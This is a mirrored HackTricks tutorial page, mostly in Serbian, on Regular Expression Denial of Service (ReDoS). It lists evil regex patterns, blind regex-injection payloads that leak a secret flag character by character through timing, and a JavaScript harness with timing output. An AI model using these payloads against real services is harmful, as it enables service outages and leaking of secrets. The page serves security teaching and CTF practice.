mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
105 lines
6.2 KiB
Markdown
105 lines
6.2 KiB
Markdown
# Regular expression Denial of Service - ReDoS
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
# Regular Expression Denial of Service (ReDoS)
|
|
|
|
**Regular Expression Denial of Service (ReDoS)** se dešava kada neko iskoristi slabosti u načinu na koji regularni izrazi (način pretrage i usklađivanja obrazaca u tekstu) funkcionišu. Ponekad, kada se koriste regularni izrazi, mogu postati veoma spori, posebno ako deo teksta s kojim rade postane veći. Ova sporost može postati toliko loša da raste veoma brzo čak i sa malim povećanjima u veličini teksta. Napadači mogu iskoristiti ovaj problem da nateraju program koji koristi regularne izraze da prestane da funkcioniše ispravno na duži vremenski period.
|
|
|
|
## The Problematic Regex Naïve Algorithm
|
|
|
|
**Check the details in [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
|
|
|
## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>
|
|
|
|
Zli obrazac regularnog izraza je onaj koji može **da se zaglavi na kreiranom unosu uzrokujući DoS**. Zli regex obrasci obično sadrže grupisanje sa ponavljanjem i ponavljanje ili alternativu sa preklapanjem unutar ponovljene grupe. Neki primeri zlih obrazaca uključuju:
|
|
|
|
* (a+)+
|
|
* ([a-zA-Z]+)*
|
|
* (a|aa)+
|
|
* (a|a?)+
|
|
* (.*a){x} za x > 10
|
|
|
|
Svi su ranjivi na unos `aaaaaaaaaaaaaaaaaaaaaaaa!`.
|
|
|
|
## ReDoS Payloads
|
|
|
|
### String Exfiltration via ReDoS
|
|
|
|
U CTF-u (ili bug bounty) možda **kontrolišete Regex sa kojim se usklađuje osetljiva informacija (zastava)**. Tada bi moglo biti korisno da **stranica zamrzne (timeout ili duže vreme obrade)** ako je **Regex usklađen** i **ne ako nije**. Na ovaj način ćete moći da **izvučete** string **karakter po karakter**:
|
|
|
|
* U [**ovom postu**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) možete pronaći ovo ReDoS pravilo: `^(?=<flag>)((.*)*)*salt$`
|
|
* Primer: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
|
* U [**ovoj analizi**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) možete pronaći ovo: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
|
* U [**ovoj analizi**](https://ctftime.org/writeup/25869) koristio je: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
|
|
|
### ReDoS Controlling Input and Regex
|
|
|
|
Sledeći su **ReDoS** primeri gde **kontrolišete** i **unos** i **regex**:
|
|
```javascript
|
|
function check_time_regexp(regexp, text){
|
|
var t0 = new Date().getTime();;
|
|
new RegExp(regexp).test(text);
|
|
var t1 = new Date().getTime();;
|
|
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
|
}
|
|
|
|
// This payloads work because the input has several "a"s
|
|
[
|
|
// "((a+)+)+$", //Eternal,
|
|
// "(a?){100}$", //Eternal
|
|
"(a|a?)+$",
|
|
"(\\w*)+$", //Generic
|
|
"(a*)+$",
|
|
"(.*a){100}$",
|
|
"([a-zA-Z]+)*$", //Generic
|
|
"(a+)*$",
|
|
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
|
|
|
|
/*
|
|
Regexp (a|a?)+$ took 5076 milliseconds.
|
|
Regexp (\w*)+$ took 3198 milliseconds.
|
|
Regexp (a*)+$ took 3281 milliseconds.
|
|
Regexp (.*a){100}$ took 1436 milliseconds.
|
|
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
|
|
Regexp (a+)*$ took 723 milliseconds.
|
|
*/
|
|
```
|
|
## Alati
|
|
|
|
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
|
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
|
|
|
## Reference
|
|
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
|
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
|
|
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
|
|
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
|
|
|
|
{% hint style="success" %}
|
|
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Podržite HackTricks</summary>
|
|
|
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
{% endhint %}
|